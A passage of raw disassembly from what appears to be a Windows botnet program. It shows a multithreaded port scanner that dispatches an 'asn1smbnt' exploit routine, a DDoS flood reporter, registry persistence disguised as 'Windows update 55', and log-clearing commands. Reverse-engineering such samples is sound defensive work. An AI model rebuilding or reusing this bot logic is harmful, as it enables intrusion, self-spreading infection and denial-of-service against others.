arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_42EC30	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_402784
		xor	eax, eax
		jmp	short loc_4027F3
; ---------------------------------------------------------------------------


loc_402784:				; CODE XREF: sub_40275B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_42EBB4	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_42EC4C	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_42EB60	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_42EB9C	; select
		push	esi
		mov	edi, eax
		call	dword_42EC48	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_4027F3:				; CODE XREF: sub_40275B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40275B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027F8	proc near		; DATA XREF: sub_402A0C+13Bo

var_2A8		= dword	ptr -2A8h
Dest		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
Src		= byte ptr -150h
var_140		= byte ptr -140h
Str		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+Src]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_41B078	; GetTickCount
		push	eax
		call	sub_41274C
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40283F:				; CODE XREF: sub_4027F8+200j
		mov	eax, dword_430544[ebx]
		cmp	dword_428D6C[eax*8], 0
		jz	loc_4029FD
		cmp	[ebp+var_10], 0
		push	eax		; Dst
		jz	short loc_402869
		lea	eax, [ebp+Src]
		push	eax		; Src
		call	sub_4026BF
		pop	ecx
		jmp	short loc_40286E
; ---------------------------------------------------------------------------


loc_402869:				; CODE XREF: sub_4027F8+60j
		call	sub_402677


loc_40286E:				; CODE XREF: sub_4027F8+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_430544[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_42EC3C	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax		; Format
		lea	eax, dword_430340[ebx]
		push	eax		; Dest
		call	_sprintf
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40275B
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_4029ED
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_402942
		push	offset dword_429D08
		call	ds:dword_41B074	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_42EC3C	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_402924
		cmp	[ebp+Str], 0
		push	1		; int
		push	[ebp+var_18]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+Str]
		jnz	short loc_402918
		lea	eax, [ebp+var_140]


loc_402918:				; CODE XREF: sub_4027F8+118j
		push	eax		; Str
		push	[ebp+var_40]	; int
		call	sub_405E64
		add	esp, 14h


loc_402924:				; CODE XREF: sub_4027F8+FDj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		mov	[esp+2A8h+var_2A8], offset dword_429D08
		call	ds:dword_41B070	; RtlLeaveCriticalSection
		jmp	loc_4029ED
; ---------------------------------------------------------------------------


loc_402942:				; CODE XREF: sub_4027F8+CDj
		push	edi
		call	dword_42EC3C	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+var_208]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aAsn1smbnt ; "asn1smbnt"
		push	eax		; Format
		lea	eax, [ebp+var_178]
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+Str], 0
		lea	eax, [ebp+Str]
		jnz	short loc_402986
		lea	eax, [ebp+var_140]


loc_402986:				; CODE XREF: sub_4027F8+186j
		push	eax		; Format
		lea	eax, [ebp+var_1F8]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_41F094[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_4029ED:				; CODE XREF: sub_4027F8+C3j
					; sub_4027F8+145j
		push	7D0h
		call	ds:dword_41B048	; Sleep
		jmp	loc_40283F
; ---------------------------------------------------------------------------


loc_4029FD:				; CODE XREF: sub_4027F8+55j
		push	esi
		call	sub_411F56
		pop	ecx
		push	0
		call	ds:dword_41B06C	; ExitThread
sub_4027F8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A0C	proc near		; DATA XREF: sub_409557+2B60o
					; sub_409557+449Eo

var_1DC		= dword	ptr -1DCh
Source		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
Str		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_42EBF0	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_428D68[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4022E3
		push	8
		call	sub_411E82
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_402ADA
		mov	esi, offset dword_429D08
		push	esi
		call	ds:dword_41B080	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_41B07C	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_402ADA
		lea	eax, [ebp+Source]
		push	offset aScanFailedToIn ; "[SCAN]: Failed to initialize critical	s"...
		push	eax		; Dest
		call	_sprintf
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_402AC4
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_3C]	; int
		call	sub_405E64
		add	esp, 14h


loc_402AC4:				; CODE XREF: sub_402A0C+99j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_402D63
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_402ADA:				; CODE XREF: sub_402A0C+63j
					; sub_402A0C+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_41B048
		mov	edi, ebx
		mov	dword_428D6C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_402BA7


loc_402AF8:				; CODE XREF: sub_402A0C+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+Source]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	8		; int
		push	eax		; Source
		call	sub_411C3A
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_430544[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_4027F8
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_402B72


loc_402B67:				; CODE XREF: sub_402A0C+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_402B99
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_402B67
; ---------------------------------------------------------------------------


loc_402B72:				; CODE XREF: sub_402A0C+159j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_402D63
		add	esp, 10h


loc_402B99:				; CODE XREF: sub_402A0C+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_402AF8


loc_402BA7:				; CODE XREF: sub_402A0C+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_402C51
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_402BBC:				; CODE XREF: sub_402A0C+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_428D68[eax*8]
		push	eax
		call	dword_42EC3C	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_402C0A
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_3C]	; int
		call	sub_405E64
		add	esp, 14h


loc_402C0A:				; CODE XREF: sub_402A0C+1DFj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_402D63
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_428D6C[eax*8], ebx
		call	esi	; Sleep
		push	8
		call	sub_411E82
		cmp	eax, 1
		pop	ecx
		jnz	short loc_402C41
		push	offset dword_429D08
		call	ds:dword_41B080	; RtlDeleteCriticalSection


loc_402C41:				; CODE XREF: sub_402A0C+228j
		push	[ebp+var_2C]
		call	sub_411F56
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_402C51:				; CODE XREF: sub_402A0C+19Ej
					; sub_402A0C+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_428D6C[eax*8], 1
		jnz	loc_402BBC
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_402C51
sub_402A0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_402C6B(char *Str2,int)

sub_402C6B	proc near		; CODE XREF: sub_409557+3C42p

var_4		= dword	ptr -4
Str2		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset Str1
		mov	edi, 0B8h


loc_402C7F:				; CODE XREF: sub_402C6B+33j
		cmp	byte ptr [esi],	0
		jz	short loc_402CA2
		push	[ebp+Str2]	; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402CA2
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_430340
		jl	short loc_402C7F
		jmp	short loc_402CE4
; ---------------------------------------------------------------------------


loc_402CA2:				; CODE XREF: sub_402C6B+17j
					; sub_402C6B+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi		; Size
		push	0		; Val
		lea	ebx, Str1[esi]
		push	ebx		; Dst
		call	_memset
		push	17h		; Count
		push	[ebp+Str2]	; Source
		push	ebx		; Dest
		call	_strncpy
		push	9Fh		; Count
		lea	eax, dword_42F7D8[esi]
		push	[ebp+arg_4]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 24h
		inc	dword_424E64
		pop	ebx


loc_402CE4:				; CODE XREF: sub_402C6B+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_402C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_402CEB(int,char *Str,int)

sub_402CEB	proc near		; CODE XREF: sub_409557+4DEDp

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0		; int
		push	[ebp+arg_8]	; int
		push	offset aAliasList ; "-[Alias List]-"
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset Str1


loc_402D15:				; CODE XREF: sub_402CEB+72j
		cmp	byte ptr [esi],	0
		jz	short loc_402D50
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_SS	; "%d. %s = %s"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 2Ch


loc_402D50:				; CODE XREF: sub_402CEB+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_430340
		jl	short loc_402D15
		pop	edi
		pop	esi
		leave
		retn
sub_402CEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402D63	proc near		; CODE XREF: sub_4013EE+323p
					; .text:00401A16p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_41B084	; GetLocalTime
		mov	ebx, offset Source
		mov	edi, 80h
		mov	esi, offset byte_42A620


loc_402D85:				; CODE XREF: sub_402D63+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_402D9C
		push	7Fh		; Count
		lea	eax, [ebx+80h]
		push	ebx		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_402D9C:				; CODE XREF: sub_402D63+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_402D85
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402D63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_402DD7(char *Format,char Args)

sub_402DD7	proc near		; CODE XREF: sub_409277+F7p
					; sub_409557:loc_40CF1Cp ...

Dest		= byte ptr -80h
Format		= dword	ptr  8
Args		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+Args]
		push	eax		; Args
		lea	eax, [ebp+Dest]
		push	[ebp+Format]	; Format
		push	80h		; Count
		push	eax		; Dest
		call	__vsnprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		add	esp, 14h
		leave
		retn
sub_402DD7	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_402E03(int,char *Str,int,int)

sub_402E03	proc near		; CODE XREF: sub_409557+4CE4p

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset byte_42A620
		xor	ecx, ecx


loc_402E0A:				; CODE XREF: sub_402E03+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset Source
		jl	short loc_402E0A
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset aLogsCleared_ ; "[LOGS]: Cleared."
		jnz	short loc_402E3A
		push	ecx		; int
		push	[esp+8+arg_8]	; int
		push	esi		; int
		push	[esp+10h+Str]	; Str
		push	[esp+14h+arg_0]	; int
		call	sub_405E64
		add	esp, 14h


loc_402E3A:				; CODE XREF: sub_402E03+1Fj
		push	esi
		call	sub_402D63
		pop	ecx
		pop	esi
		retn
sub_402E03	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E43	proc near		; CODE XREF: sub_4013EE+2B3p
					; .text:004019A6p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset byte_42A620


loc_402E49:				; CODE XREF: sub_402E43+27j
		cmp	byte ptr [esi],	0
		jz	short loc_402E5E
		push	[esp+4+arg_0]	; int
		push	esi		; Str
		call	sub_406F77
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E70


loc_402E5E:				; CODE XREF: sub_402E43+9j
		add	esi, 80h
		cmp	esi, offset Source
		jl	short loc_402E49
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402E70:				; CODE XREF: sub_402E43+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_402E43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E75	proc near		; DATA XREF: sub_409557+4D97o

Dest		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
Str		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_402EC8
		push	edx		; int
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]	; int
		push	offset aLogBegin ; "[LOG]: Begin"
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_405E64
		add	esp, 14h


loc_402EC8:				; CODE XREF: sub_402E75+33j
		cmp	[ebp+Str], 0
		jz	short loc_402EE8
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_402EE8
		mov	[ebp+var_8], eax


loc_402EE8:				; CODE XREF: sub_402E75+5Aj
					; sub_402E75+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset byte_42A620


loc_402EF1:				; CODE XREF: sub_402E75+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_402F4B
		cmp	byte ptr [esi],	0
		jz	short loc_402F3A
		cmp	[ebp+Str], 0
		jz	short loc_402F20
		cmp	[ebp+var_4], 0
		jnz	short loc_402F20
		lea	eax, [ebp+Str]
		push	eax		; int
		push	esi		; Str
		call	sub_406F77
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402F3A


loc_402F20:				; CODE XREF: sub_402E75+90j
					; sub_402E75+96j
		push	edi		; int
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]	; int
		push	esi		; int
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_405E64
		add	esp, 14h


loc_402F3A:				; CODE XREF: sub_402E75+87j
					; sub_402E75+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset Source
		jl	short loc_402EF1


loc_402F4B:				; CODE XREF: sub_402E75+82j
		lea	eax, [ebp+Dest]
		push	offset aLogListComplet ; "[LOG]: List complete."
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_402F85
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+var_118]
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_405E64
		add	esp, 14h


loc_402F85:				; CODE XREF: sub_402E75+EEj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_18]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41B06C	; ExitThread
		pop	edi
		pop	esi
sub_402E75	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_402FA4(char *Str)

sub_402FA4	proc near		; CODE XREF: sub_403014+4p
					; sub_40724A+1Ep ...

var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_41F770
		xor	esi, esi
		mov	ebx, offset aWindowsUpdate5 ; "Windows update 55"


loc_402FB7:				; CODE XREF: sub_402FA4+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_42EB6C	; RegCreateKeyExA
		cmp	[ebp+Str], esi
		jz	short loc_402FF1
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	[ebp+Str]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_42EBD8	; RegSetValueExA
		jmp	short loc_402FFB
; ---------------------------------------------------------------------------


loc_402FF1:				; CODE XREF: sub_402FA4+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_42EB2C	; RegDeleteValueA


loc_402FFB:				; CODE XREF: sub_402FA4+4Bj
		push	[ebp+var_4]
		call	dword_42EB90	; RegCloseKey
		add	edi, 8
		cmp	edi, offset Mode ; "rb"
		jl	short loc_402FB7
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402FA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

; int __cdecl sub_403014(char *Str)

sub_403014	proc near		; CODE XREF: sub_403014+16j
					; DATA XREF: WinMain(x,x,x,x)+43Do

Str		= dword	ptr  4

		push	[esp+Str]	; Str
		call	sub_402FA4
		pop	ecx
		push	dword_41F768
		call	ds:dword_41B048	; Sleep
		jmp	short sub_403014
sub_403014	endp


; =============== S U B	R O U T	I N E =======================================



sub_40302C	proc near		; CODE XREF: sub_403067+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_403061
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_403045:				; CODE XREF: sub_40302C+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_41B1E8[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_403045
		pop	edi
		pop	ebx


loc_403061:				; CODE XREF: sub_40302C+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40302C	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_403067(char *Filename)

sub_403067	proc near		; CODE XREF: sub_403520+24Ap

var_10		= dword	ptr -10h
Filename	= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx		; Mode
		call	_malloc
		mov	[esp+10h+var_10], offset Mode ;	"rb"
		push	[esp+10h+Filename] ; Filename
		mov	esi, eax
		call	_fopen
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4030B6


loc_40308C:				; CODE XREF: sub_403067+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4030BA
		inc	ebx
		push	ebx		; NewSize
		push	esi		; Memory
		call	_realloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4030B6
		push	edi		; File
		push	1		; Count
		lea	eax, [esi+ebx-1]
		push	1		; ElementSize
		push	eax		; DstBuf
		call	_fread
		add	esp, 10h
		jmp	short loc_40308C
; ---------------------------------------------------------------------------


loc_4030B6:				; CODE XREF: sub_403067+23j
					; sub_403067+39j
		xor	eax, eax
		jmp	short loc_4030D5
; ---------------------------------------------------------------------------


loc_4030BA:				; CODE XREF: sub_403067+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40302C
		push	esi		; Memory
		mov	ebx, eax
		call	_free
		push	edi		; File
		call	_fclose
		add	esp, 10h
		mov	eax, ebx


loc_4030D5:				; CODE XREF: sub_403067+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403067	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030D9	proc near		; DATA XREF: sub_409557+326Co

Dest		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= dword	ptr -18Ch
Str		= byte ptr -10Ch
Str1		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_41B078	; GetTickCount
		push	eax
		call	sub_41274C
		lea	eax, [ebp+var_18C]
		push	eax		; int
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		lea	eax, [ebp+var_20C]
		push	eax		; Str
		lea	eax, [ebp+var_28C]
		push	eax		; int
		call	sub_4034C2
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aDdosDoneWithFl ; "[DDoS]: Done with flood (%iKB/sec)."
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_403169
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_294]	; int
		call	sub_405E64
		add	esp, 14h


loc_403169:				; CODE XREF: sub_4030D9+6Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_290]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41B06C	; ExitThread
		pop	edi
		pop	esi
sub_4030D9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40318B(int,int,char *Str1,int,int)

sub_40318B	proc near		; CODE XREF: sub_4034C2+40p

var_284		= byte ptr -284h
Dest		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
